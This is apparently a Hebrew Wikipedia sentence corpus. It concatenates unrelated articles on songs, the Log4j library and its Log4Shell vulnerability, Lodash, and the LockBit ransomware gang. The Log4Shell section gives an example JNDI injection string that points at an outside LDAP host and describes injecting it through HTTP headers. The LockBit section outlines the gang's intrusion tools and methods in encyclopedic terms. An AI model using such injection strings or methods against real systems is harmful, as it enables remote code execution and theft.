tomron87/hebrew-wikipedia-sentences-corpus huggingface dataset:
"Locomotive Breath" הוקלט באופן יוצא דופן לתקופת תחילת שנות השבעים בבריטניה: הרצועה הורכבה מאובר-דאבים, מהסיבה הפשוטה שרוב ערוצי השיר הוקלטו בנפרד, ולא במקביל כפי שהיה נהוג לרוב.
אנדרסון עצמו הקליט עשרות כלים, בהם גם החליל והשירה, שהם תפקידיו העיקריים, אך גם תוף בס, גיטרה אקוסטית, כלי הקשה ומספר תפקידי גיטרה חשמלית.
את הפסנתר ואורגן ההאמונד הקליט הפסנתרן הטרי של הלהקה, ג'ון אוואן; את התופים ומרבית כלי ההקשה הקליט קלייב באנקר; ג'פרי האמונד הקליט את גיטרת הבס ומרטין באר הקליט את תפקידי הגיטרה הראשיים.
אנדרסון הסביר את תהליך ההקלטה של השיר בראיון ואמר כי "'Locomotive Breath' היה בעצם כישלון חרוץ כשניסינו לנגן את כולו יחדיו.
לא היה לנו את הגרוב.
אני חושב שג'ון אוואן הקליט את ההקדמה לפסנתר, ואז יצאתי לאולפן עם שני מקלות תופים והקשתי בהם לפי הקצב, כי היה זה בימים שלפני המטרונום החשמלי.
אחרי כן לקחתי היי הט ותוף בס והתחלתי לנגן עם זה.
ואז קלייב [באנקר] נכנס והוסיף את הטום-טום והמצילות.
אני ניגנתי את הגיטרה החשמלית המלווה לאורך כל השיר.
פתאום נהיה לנו משהו שנשמע כמו שיר מאוד מטרונומי, כמו שרציתי שיהיה, כי מדובר ברכבת שנוסעת על המסילה".
השיר שימש בהמשך בתור הדרן במאות הופעות של הלהקה בעיקר בשנות השבעים אך גם לאחר מכן, ואף בעשורים הראשון והשני של המאה ה-21.
"Locomotive Breath" יצא לראשונה כחלק מ"Aqualung" משנת 1971. לאחר עריכה, יצא כסינגל בארצות הברית, בגיבוי השיר "Wind-Up" מצידו השני של התקליט, אם כי הוא לא זכה להצלחה גדולה.
מהדורה יחידה של השיר משנת 1976, בגיבוי השיר "Fat Man" מהאלבום "Stand Up", הצליחה יותר והגיעה למקום 59 במצעדי הבילבורד ולמקום 85 מצעד הסינגלים הקנדי.
השיר יצא גם כצד ב' לסינגל "Hymn 43", גם הוא מאותו אלבום.
מאז שחרורו הראשוני הופיע השיר באלבומי אוסף רבים ובהופעות חיות.
השיר זוכה להשמעות תכופות בתחנות רדיו המשדרות רוק קלאסי בעיקר בארצות הברית ובריטניה.
אנדרסון דירג את "Locomotive Breath" כאחד מעשרת השירים הטובים ביותר שכתב עבור ג'ת'רו טאל.
עם שחרורו כסינגל בארצות הברית, החשיב אותו מגזין בילבורד לשיר הרוק הטוב ביותר של הלהקה מזה זמן מה.
השיר דורג כשיר הרביעי הטוב ביותר של ג'ת'רו טאל על ידי הספר מאת כריסטוף רה, "Rock – Das Gesamtwerk der größten Rock-Acts im Check".
איאן אנדרסון - חליל, שירה ראשית, תוף בס, היי-האט, גיטרה אקוסטית, גיטרה חשמלית
Location (בעברית: מָקוֹם או מִקוּם) הוא סינגל שהוקלט על ידי הזמרת-יוצרת הקולומביאנית קרול ג'י, ביחד עם הראפר והזמר הפורטוריקני אנואל AA והזמר הקולומביאני ג'יי באלווין, מתוך אלבום האולפן השלישי שלה, KG0516. השיר יצא לאור ב-12 בפברואר 2021, על ידי חברת התקליטים יוניברסל מיוזיק לטין אנטרטיינמנט, כסינגל הרביעי מתוך האלבום.
השיר נכתב על ידי אווי און דה דראמס, אנואל AA, קרול ג'י וג'יי באלווין והופק על ידי אווי און דה דראמס.
"Location" יצא כמה חודשים לאחר ש-"Bichota" יצא, משום שהצלחתו הבינלאומית הובילה לכך שג'י חיכתה עם הוצאת סינגל חדש מתוך אלבומה השלישי, KG0516, שיצא לאור במרץ 2021.
הווידאו קליפ הרשמי של השיר יצא לאור ב-12 בפברואר, ביום צאתו כסינגל.
הקליפ עוסק במירוץ מכוניות במדבר ובתחילתו ניתן לראות את קרול ג'י כשהיא נוהגת ברכב מהיר ומצדדיה נמצאים רקדני ליווי שונים.
ישנן סצנות בהן ניתן לראות את האנשים המופיעים בקליפ לבושים כמו בוקרים.
נכון לספטמבר 2021, מונה הצפיות של הקליפ עומד על למעלה מ-300 מיליון צפיות.
מקוםתאריםמכירותארצות הברית (RIAA)פלטינה (לטיני)60,000מקסיקו (AMPROFON)פלטינה + זהב90,000ספרד (PROMUSICAE)פלטינה40,000 מכירות + הזרמת מדיה בלבד
מדינהתאריך יציאהפורמטחברת תקליטיםמקורעולם12 בפברואר 2021הזרמת מוזיקה • הורדה דיגיטליתיוניברסל לטין
Log4j היא ספריית קוד פתוח מבוססת Java, חלק ממיזמי קרן התוכנה אפאצ'י, המשמשת לניהול קובצי לוג.
גרסה ראשונה של הספרייה פותחה על ידי Ceki Gülcü.
בהמשך פותחה גרסה Log4j 2, שאינה תואמת לאחור לגרסה 1. באוגוסט 2015 ניתנה המלצה למשתמשי גרסה 1 לחדול להשתמש בה ולעבור לגרסה 2. Gülcü יצר מאז את SLF4J, Reload4j ו-Logback כמו חלופות ל-Log4j.
ב-9 בדצמבר 2021 פורסם דבר קיומה של פרצת אבטחה חמורה בספרייה, המאפשרת לתוקף מרוחק להריץ קוד על שרת המריץ תוכנה הכוללת ספרייה זו, ללא צורך בהזדהות.
הפרצה קיבלה את השם Log4Shell, וזיהויה הוא CVE-2021-44228. תחילה הוזהרו מהפרצה משתמשי המשחק מיינקראפט, שהתבקשו לעדכן את תוכנת המשחק, ובהמשך התברר שתוכנות רבות, בהן אלה של סיסקו, VMWare ונטאפ, חשופות לפרצה זו, המסכנת מיליוני משתמשים בעולם.
לסגירת הפרצה פורסמה גרסה 2.15.0 ואחריה גרסה 2.17.0, וכן פורסם מעקף למי שמתקשה במעבר לגרסה המתוקנת.
Log4Shell (קוד: CVE-2021-44228) הוא השם שניתן לחולשה בספרייה Log4j, ספריית לוגים פופולרית של Java, המאפשרת הרצת קוד שרירותי (Remote Code Execution).
פגיעה זו, שלא הבחינו בקיומה מאז 2013 - נחשפה באופן פרטי לקרן התוכנה אפאצ'י, ש-Log4j הוא פרויקט שלה, על ידי צוות האבטחה בענן של קבוצת עליבאבא ב-24 בנובמבר 2021, ונחשפה בפומבי ב-9 בדצמבר 2021.
קרן Apache העניקה ל-Log4Shell דירוג חומרת CVSS של 10, הגבוה ביותר האפשרי.
ההערכה היא שהפגיעות משפיעה על מאות מיליוני מכשירים.
החולשה מנצלת את היכולת של Log4j המאפשרת בקשות לשרתי LDAP ו-JNDI שרירותיים, מבלי לבדוק את התגובות.
בקשות אלו מאפשרות לתוקפים להריץ קוד Java שרירותי בשרת או במחשב אחר, או להדליף מידע רגיש.
שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache.
השירותים המסחריים המושפעים כוללים את AWS, Cloudflare, iCloud, Minecraft: Java Edition, סטים Tencent QQ ועוד רבים אחרים.
Log4Shell היא אחת מהחולשות החמורות ביותר שהתגלו מעולם.
חברת LunaSec אפיינה את הפגיעות כ"כשל עיצובי בעל פרופורציות קטסטרופליות", חברת Tenable אמרה כי החולשה הייתה "הפגיעות הגדולה והקריטית ביותר אי פעם", ו- Ars Technica כינתה זאת "ללא ספק הפגיעה החמורה ביותר אי פעם".
Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם.
נתונים אלה יכולים לכלול קלט משתמש.
הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות.
הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י.
חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב".
ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם.
JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים.
בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט.
בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה {prefix:name}$ בתוך ההודעה הנכתבת.
חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה{<jndi:<lookup}$; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java.
כך לדוגמה, ניסיון הדפסה של המחרוזת {jndi:ldap://example.com/file}$, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני.
משום שבקשות HTTP נכתבות פעמים רבות ללוג, וקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent.
התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j.
התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים.
לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל.
באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups).
עבור גרסאות קודמות, מומלץ להסיר את המחלקה org.apache.logging.log4j.core.lookup.JndiLookup ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות.
בנוסף, ניתן לשנות את ה-system property בשם log4j2.formatMsgNoLookups ל- true, אך שינוי זה אינו מונע ניצול של CVE-2021-45046.
גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים.
פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java.
החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java.
ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר.
בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של מעל 40% מהרשתות העסקיות בעולם שהותקפו.
לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי.
בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים.
כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig.
כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט.
בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה.
המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית.
סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע".
המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם).
הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול.
מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים.
חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים.
UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר.
כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר.
"Lock Me In" (בעברית: "נעל/י אותי בפנים") הוא סינגל שהוקלט על ידי להקת הרוק הגאורגית סירקוס מירקוס.
הוא יצא לאור ב-9 במרץ 2022 לאחר שהאודיו הרשמי שלו פורסם בעמוד היוטיוב של הלהקה.
השיר ייצג את גאורגיה באירוויזיון 2022 שהתקיים בטורינו, איטליה, לאחר שנבחר באופן פנימי על ידי רשות השידור הגאורגית (GPB).
"Lock Me In" יצא לאור ב-9 במרץ 2022 בערוץ היוטיוב הרשמי של סירוקס מירקוס.
הווידאו קליפ שלו היה אמור להתפרסם גם כן, אולם הוצאתו נדחתה בשל הפלישה הרוסית לאוקראינה.
"איננו מרגישים בנוח לפרסם וידאו קליפ צבעוני ושמח.
במקום זאת ובהתאם להנחיות איגוד השידור האירופי, פרסמנו את האודיו של "Lock Me In".
האודיו מלווה לרקע שחור כדי להביע סולדריות עם אחינו ואחיותינו האוקראינים" – הצהירו חברי הלהקה.
ב-20 בספטמבר 2021 אישרה רשות השידור הגאורגית את השתתפותה באירוויזיון 2022. ב-14 בנובמבר אותה השנה הכריזה כי להקת סירקוס מירקוס נבחרה לייצג את המדינה באירוע זה.
שירה לתחרות, "Lock Me In", יצא לאור ב-9 במרץ 2022.
ב-25 בינואר 2022 נקבע בהגרלת חצאי הגמר כי גאורגיה תופיע בחלק הראשון של חצי הגמר השני.
גאורגיה הופיעה חמישית, לאחר אזרבייג'ן ולפני מלטה.
ב-12 במאי 2022 ביצעה להקת סירקוס מירקוס את "Lock Me In" על בימת חצי הגמר השני של אירוויזיון 2022. היא נכשלה בניסיון להעפיל לגמר התחרות, שהתקיים ב-14 במאי.
לאחר התחרות התברר כי מיקומה בחצי הגמר היה 18 עם 22 נקודות.
"Loca" (בעברית: "מְטוֹרָף") הוא שיר שהוקלט על ידי הזמרת-יוצרת הישראלית דנה אינטרנשיונל.
הוא יצא לאור ב-30 במאי 2013, בהוצאת חברת התקליטים NMC יונייטד אנטרטיינמנט, כסינגל שלא מתוך אלבום.
מילות השיר נכתבו על ידי אינטרנשיונל באנגלית, ספרדית וג'יבריש, בעוד DISIAC היו אחראים על ההפקה המוזיקלית שלו.
השיר הגיע למקום הראשון במצעד הסינגלים הישראלי ודורג במצעדים נוספים ברחבי העולם.
במרוצת השנים, זכה השיר להצלחה רבה בישראל ומחוצה לה ובשנת 2022 דורג במקום החמישי ברשימת "20 שירי הגאווה הטובים ביותר – בכל הזמנים".
"Loca" והווידאו קליפ הנלווה שלו נוצרו לרגל השתתפותה של אינטרנשיונל במסיבת גאווה של שמעון שירזי שאירעה ב-7 ביוני 2013 באומן 17 בתל אביב.
השיר נכתב בשפה הספרדית (כמו גם שמו, "Loca" שפירושו "מטורף") ומכיל ברובו קטעים בג'יבריש ובאנגלית.
הקטעים בשפה האנגלית לקוחים מתוך השיר "Power".
בריאיון ל-ynet הצהירה אינטרנשיונל: "להופיע אצל שירזי זה תמיד כמו לחזור הביתה.
אחרי כל ההופעות בארץ ובעולם, הקליפים, הטלוויזיות, אין כמו התחושה החמימה הזו שאני חוזרת למשפחה שלי...
זה המקום היחיד שבו אני עומדת על הבמה ומרשה לעצמי לדבר בין השירים כמו שבאמת בא לי, כאילו אני בסלון עם 2,000 חברים".
"Loca" הופץ כסינגל לקראת סוף מאי ותחילת יוני 2013 על גבי תקליטור.
הוא פורסם בסמוך למצעד הגאווה בתל אביב והיה לשיר הגאווה של אותה השנה.
את הווידאו קליפ הרשמי של "Loca" ביים רועי רז והפיקו ליין ה-FFF של שירזי וסמירנוף, והוא צולם בתחנת הכוח אשכול.
באותה העת, נחשב לאחד הקליפים המושקעים ביותר של אינטרנשיונל.
במאקו הצהירו: "הקליפ מנסה להתחקות אחרי הסגנון של ליידי גאגא בקליפים כמו 'Alejandro', כולל מסכות, גברים עירומים וסוס".
נכתב: "כשזה מגיע לרמת קליפים – דנה אינטרנשיונל מתעלה על כולם – בכל פעם מחדש.
כן, זה לא ממש משנה לכמה זמן תעלם הדיווה מהרדאר, החזרה שלה לתודעה תמיד תהיה מעניינת ורוב הפעמים תעורר פרובוקציה ובאזז...
היא החליטה לצלם קליפ לשיר החדש שלה 'LOCA', או במילים פשוטות - משוגעת.
וכמו תמיד, אצל דנה כמו אצל דנה – הכל בגדול...
שם, בין הטורבינות, החליפה דנה מספר לוקים, פאות ושמלות – וצילמה את אחד הקליפים היותר מושקעים ומרהיבים שנראו בתעשיית המוזיקה הישראלית".
את הקליפ החליטה אינטרנשיונל לצלם מתחת לעיני הציבור והתקשורת ובהמשך הצהירה בנענע10: "גם אחרי כל השנים האלה, וצילום הקליפים, עדיין בבוקר הצילומים אני קמה עם כאבי בטן מחששות...
תמיד יש בי פחד שהדברים לא יצליחו כמו שאני מקווה, ולכן אני מעדיפה לבוא עם התוצרת, ולוותר על יחסי הציבור שקשורים לברברת של העשייה עצמה".
אינטרנשיונל סיפרה על הקליפ ל-ynet: "קליפ מבחינתי הוא כלי ביטוי אמנותי מהאהובים עלי.
זה מדיום שנותן לי אפשרות להביע את עצמי באופן ששום במה אחרת לא נותנת.
חבל מאוד שככה נראית תעשיית הקליפים אצלנו...
על הקליפ הזה אחראים שירזי והבמאי המוכשר בטירוף רועי רז.
הם יצרו עולם אפוקליפטי ודקדנטי, אם כי מסביר פנים במידה, גם למציצנים שסתם בא להם לבקר שם לשלוש דקות".
אזורתאריך יציאהפורמטחברת תקליטיםמקורכלל העולם30 במאי 2013הזרמת מוזיקה • הורדה דיגיטלית • תקליטורNMC
Lodash היא ספריית JavaScript המספקת כלים לביצוע משימות תכנות נפוצות הממומשת בפרדיגמת התכנות הפונקציונלי.
Lodash היא ספריית JavaScript שעוזרת למתכנתים לכתוב קוד JavaScript יותר קצר ונתפס.
היא יכולה להתפצל לתחומים עיקריים מסוימים:
כלים: לפשט משימות תכנותיות נפוצות כמו קביעת סוג ופשטות בפעולות מתמטיות.
פונקציות: לפשט חיבור, הדבקה, הגבלה, דיחוף, currying, ושינוי של הצבת העכבר.
מחרוזות: פונקציות המבצעות פעולות מחרוזת בסיסיות, כמו חיתוך, המרה לאותיות גדולות, camel case, ועוד.
מערכים: יצירה, פיצול, שילוב, שינוי ודחיסה
אוסף: איטרציה, מיון, סינון, פיצול ובנייה
אובייקט: גישה, הרחבה, מיזוג, ברירות המחדל, ושינוי
רצפים: שרשור, עטרה, סינון, ובדיקה.
לספרייה יש מספר גרסאות שונות, כך שלא כל הפונקציות זמינות בכל הגרסאות.
לדוגמה, _.chunk זמינה רק מגרסה 3.0.0 ומעלה.
"Locked Away" הוא סינגל של הלהקה האמריקאית, רוק סיטי, בשיתוף פעולה עם הזמר האמריקאי אדם לוין.
השיר יצא ב-29 ביוני 2015 בהוצאת חברות התקליטים קימוסבי רקורדס ו-RCA רקורדס.
השיר מופיע כסינגל המוביל באלבום האולפן הראשון של רוק סיטי, What Dreams Are Made Of.
השיר נכתב על ידי סירקט, ד"ר לוק, רוק סיטי וטוני טניל, והופק על ידי סירקט וד"ר לוק.
נכון לספטמבר 2023, השיר הושמע למעלה ממיליארד פעמים ביוטיוב, ולמעלה מ-881 מיליון פעמים בספוטיפיי.
אזורתוארמכירותאוסטרליה (ARIA)3× פלטינה210,000אוסטריה (IFPI Austria)זהב15,000בלגיה (BEA)פלטינה20,000קנדה (Music Canada)2× פלטינה160,000דנמרק (IFPI Danmark)2× פלטינה180,000גרמניה (BVMI)פלטינה400,000איטליה (FIMI)4× פלטינה200,000מקסיקו (AMPROFON)3× פלטינה180,000ניו זילנד (RMNZ)פלטינה15,000נורווגיה (IFPI Norway)פלטינה40,000פולין (ZPAV)4× פלטינה80,000ספרד (PROMUSICAE)פלטינה40,000שוודיה (GLF)3× פלטינה120,000הממלכה המאוחדת (BPI)פלטינה600,000ארצות הברית (RIAA)פלטינה1,000,000
LockBit היא כנופיית סייבר שמספקת תוכנות כופר כשירות (RaaS).
תוכנת הכופר שפותחה על ידי הכנופיה מאפשרת ללקוחותיה לבצע התקפות שבהן מוצפנים נתוני הקורבן ודורשים תשלום כופר, וכן מאיימים להדליף אותו לציבור אם דרישותיהם לא ייענו.
בשנת 2022 הייתה LockBit תוכנת הכופר הנפוצה ביותר על פי סוכנויות ממשלתיות שונות.
לפי הערכות, בתחילת 2023 הייתה התוכנה אחראית ל-44% מתקיפות הכופר ברחבי העולם.
בין ינואר 2020 למאי 2023 בוצע בארצות הברית כ-1,700 התקפות באמצעות LockBit, ו-91 מיליון דולר ששולמו כופר להאקרים.
המניע לקבוצה הוא כלכלי, והקבוצה לא שויכה באופן רשמי לשום מדינת לאום.
תוכנה עם השם "LockBit" הופיעה בפורום פשעי סייבר מבוסס בשפה הרוסית בינואר 2020.
בפברואר 2024 השתלטו רשויות אכיפת החוק על אתרי אינטרנט אפלים של LockBit המשמשים להתקפות.
עם זאת, מאוחר יותר דווחו ניסיונות מאוחרים יותר לשימוש בתוכנת כופר של LockBit.
תוכנת LockBit נכתבה בשפות התכנות C ו-C++.
תוכנת LockBit-NG-Dev שהייתה בפיתוח בעת תפיסת הכנופיה על ידי הרשויות בשנת 2024 פותחה ב-.
התוכנה מקבל גישה ראשונית למערכות מחשב באמצעות גישה שניתנת לה, תוך ניצול פרצות ידועות בתוכנות שלא עודכנו, ניצול גישה פנימית וניצול פגיעויות יום אפס, בדומה לתוכנות זדוניות אחרות.
לאחר מכן משתלטת LockBit על המערכת הנגועה, אוספת נתוני רשת וגונבת ומצפינה נתונים.
לאחר מכן מקבל הקורבן דרישה לשלם כופר על מנת לפענח את הנתונים שלו כך שיהיו זמינים שוב ולמחיקת העותק של מבצעי התקיפה, תוך איום לפרסם את המידע בצורה פומבית.
(הנתונים אמנם אינם מתפרסמים אם הכופר ישולם, אך נמצא כאשר LockBit הוסר על ידי רשויות החוק שהוא לא נמחק.)
LockBit נהנתה מתשומת לב בין היתר הודות לשימוש בתוכנה הזדונית הנקראת "StealBit", אשר מעבירה אוטומטית את הנתונים לידי הפורץ.
יכולת זו הוצגה עם שחרורו של LockBit 2.0, בעל יכולות הצפנה מהירות ויעילות.
כדי להרחיב את התפוצה שלה הוציאה LockBit גם גרסת Linux-ESXI Locker 1.0, המכוונת למארחי לינוקס, במיוחד שרתי VMware ESXi .
LockBit משתפת פעולה עם קבוצות פליליות אחרות.
הם שוכרים אנשים עם גישה לרשת, משתפים פעולה עם ארגונים כמו Maze ומגייסים מקורבים מחברות יעד.
כדי למשוך האקרים מוכשרים, הם תמכו בתחרויות כתיבה טכנית מחתרתית.
הכנופיה תקפה תעשיות שונות ברחבי העולם, עם זאת, מגזרי הבריאות והחינוך הם הקורבנות הגדולים ביותר.
לפי Trend Micro, מבחינת ניסיונות תקיפה, ארצות הברית, הודו וברזיל הן מדינות היעד העיקריות.
LockBit יעיל וניתן להתאמה: הם מדגישים את המהירות והיכולות שלהם למשוך קורבנות.
הם לוקחים בחשבון גורמים חיצוניים כמו חוקי פרטיות נתונים כאשר הם מכוונים לקורבנות פוטנציאליים.
ההצלחה של LockBit מסתמכת גם על תוכנית השותפים שלהם.
LockBit הוציאה הודעה ברשת האפלה כי היא "ממוקמת בהולנד, א-פוליטית לחלוטין ומתעניינת רק בכסף".
האקרים של LockBit משיגים לעיתים קרובות גישה ראשונית על ידי ניצול שרתי Remote Desktop Protocol (RDP) פגיעים או תוך ניצול של אישורים שהושגו משותפים.
אמצעים נוספים לגישה ראשונית כוללים הודעות דיוג עם קבצים מצורפים או קישורים זדוניים, סיסמאות RDP חלשות או VPN חלשות וניצול נקודות תורפה כגון CVE-2018-13379 ב-VPN של Fortinet .
תוכנת הכופר LockBit מופעלת לרוב ב־Microsoft Windows באמצעות שורת הפקודה, משימות מתוזמנות או סקריפטים של PowerShell כגון PowerShell Empire.
התוכנה משתמשת בכלים כגון Mimikatz, GMER, Process Hacker ועריכות רישום כדי לאסוף אישורים, להשבית מוצרי אבטחה ולהתחמק מהגנות.
התוכנה עוברת על חיבורי הרשת כדי לזהות יעדים בעלי ערך גבוה כגון שרתי הזדהות באמצעות סורקים כגון Advanced Port Scanner.
להתפשטות ברשת עושה LockBit שימוש בחיבורי פרוטוקול שיתוף הקבצים SMB, באמצעות אישורים שנאספו קודם לכן.
שיטות נוספות כוללות הפצה של עצמה באמצעות אובייקטי מדיניות קבוצתית שנפגעו, או שימוש בכלים כגון PsExec או Cobalt Strike .
LockBit מצפינה קבצים ושיתופי רשת בהצפנות AES ו-RSA.
היא מצפינה רק את הקילו-בייט הראשונים של כל קובץ לעיבוד מהיר יותר, ומוסיף סיומת ".lockbit".
לאחר מכן LockBit מחליף את טפט שולחן העבודה בפתק כופר; התוכנה יכולה גם להדפיס דרישות כופר למדפסות מחוברות.
המטרה היא לסחוט תשלום כופר כדי לבטל את השיבוש במערכת ולשחזר את הגישה לקבצים.
נוזקת LockBit נודעה בעבר בשם ".abcd", על שם סיומת הקבצים שנוספה לקבצים מוצפנים.
LockBit נצפתה לראשונה בספטמבר 2019.
ב-2021 הופיעה LockBit 2.0, והתפרסמה בתקיפת אקסנצ'ר באותה שנה, שם כנראה עובד בחברה עזר לקבוצה לפרוץ לרשת.
LockBit פרסמה חלק מהנתונים שנגנבו בהתקפה זו.
באוקטובר 2021 טענה הכנופיה שפרצה למידע של חברת המל"טים הישראלית אמית שנרכשה על ידי יוויז'ן אייר.
בינואר 2022 נפלה חברת האלקטרוניקה Thales קורבן למתקפה של Lockbit 2.0.
ביולי 2022 הותקפו שירותי הניהול של La Poste Mobile.
בספטמבר 2022 טענו האקרים של הקבוצה למתקפות סייבר נגד 28 ארגונים, מהם 12 ארגונים צרפתיים.
ביניהם, בית החולים קורביל שהותקף ונדרש לכופר של 10 מיליון דולר.
באוקטובר 2022 קיבלה כנופיית LockBit אחריות למתקפה על קמעונאי הרכב הבריטי Pendragon PLC, ודרשה כופר של 60 מיליון דולר כדי לפענח את הקבצים ולא להדליף אותם; החברה מסרבה כי היא מסרבת לדרישה.
ב-31 באוקטובר 2022 טענה הכנופיה כי Thales Group הותקפה בשנית.
הכנופיה לא דרשה כופר, אך אימה בפרסום הנתונים, והציעה סיוע ללקוחות תאלס שנפגעו מהגנבה, על מנת להגיש תלונה נגד תאלס "שהתעלמה לחלוטין מכללי הסודיות".
ב-10 בנובמבר 2022 פרסמה קבוצת LockBit 3.0 ברשת האפלה ארכיון של 9.5 GB עם מידע גנוב על חוזי תאלס באיטליה ומלזיה.
בדצמבר 2022 קיבלה כנופיית LockBit אחריות על המתקפה על מינהל הכספים של קליפורניה.
משרד המושל הכיר בכך שהוא קורבן להתקפה, מבלי לציין את היקף הפגיעה.
Lockbit טוענת שגנבה 246,000 קבצים בגודל כולל של 75.3 GB.
בדצמבר 2022 הכנופיה העמידה דרישת כופר של 1.5 מיליון דולר לנמל ליסבון, בדרישה שישולם עד 18 בינואר 2023.
ב-18 בדצמבר 2022 הותקף את בית החולים לילדים חולים של טורונטו.
לאחר שהבינו את הטעות שלהם, עצרה הכנופיה המתקפה, התנצלה והציעה פתרון חינמי לשחזור הקבצים המוצפנים.
בסוף יוני 2022 השיקה הכנופיה את הגרסה האחרונה של תוכנת הכופר, "LockBit 3.0", לאחר חודשיים של בדיקות בטא.
הקבוצה הציגה תוכנית באגים, הראשונה מסוגה בתחום פעולות כופר.
הם הזמינו חוקרי אבטחה לבדוק את התוכנה שלהם כדי לשפר את האבטחה, והציעו תגמולים כספיים משמעותיים שנעים בין 1,000 דולר ל-$1 מִילִיוֹן.
באוגוסט 2022 הותקפה יצרנית הציוד הגרמנית Continental.
בנובמבר 2022, לאחר שדרישת הכופר שלה לא נענתה, פרסמה הכנופיה חלק מהנתונים הגנובים והציעה גישה לכל אלה תמורת 50 מיליון יורו.
בין הנתונים הגנובים, מידע על חייהם הפרטיים של עובדי החברה וכן חילופי דברים עם יצרניות רכב גרמניות.
מעבר לגניבת הנתונים, הסכנה טמונה בפתיחת הדרך לריגול תעשייתי.
ואכן, בין תחלופות המידע עם פולקסווגן ישנם היבטי IT, החל מנהיגה אוטומטית ועד בידור, שבהם רצתה פולקסווגן שקונטיננטל תשקיע.
בנובמבר 2022 הודיע משרד המשפטים האמריקאי על מעצרו של מיכאיל וסילייב, בעל אזרחות כפולה, רוסית וקנדית, בקשר עם כנופיית LockBit.
לפי האישומים וסילייב קשר קשר עם אחרים המעורבים ב-LockBit בתוכנה ששימשה ביותר מ-1,000 התקפות ברחבי העולם נכון לנובמבר 2022. לפי הדיווחים, מפעילי LockBit הגישו לפחות 100 מיליון דולר בדרישות כופר, מהן עשרות מיליונים שולמו על ידי קורבנות.
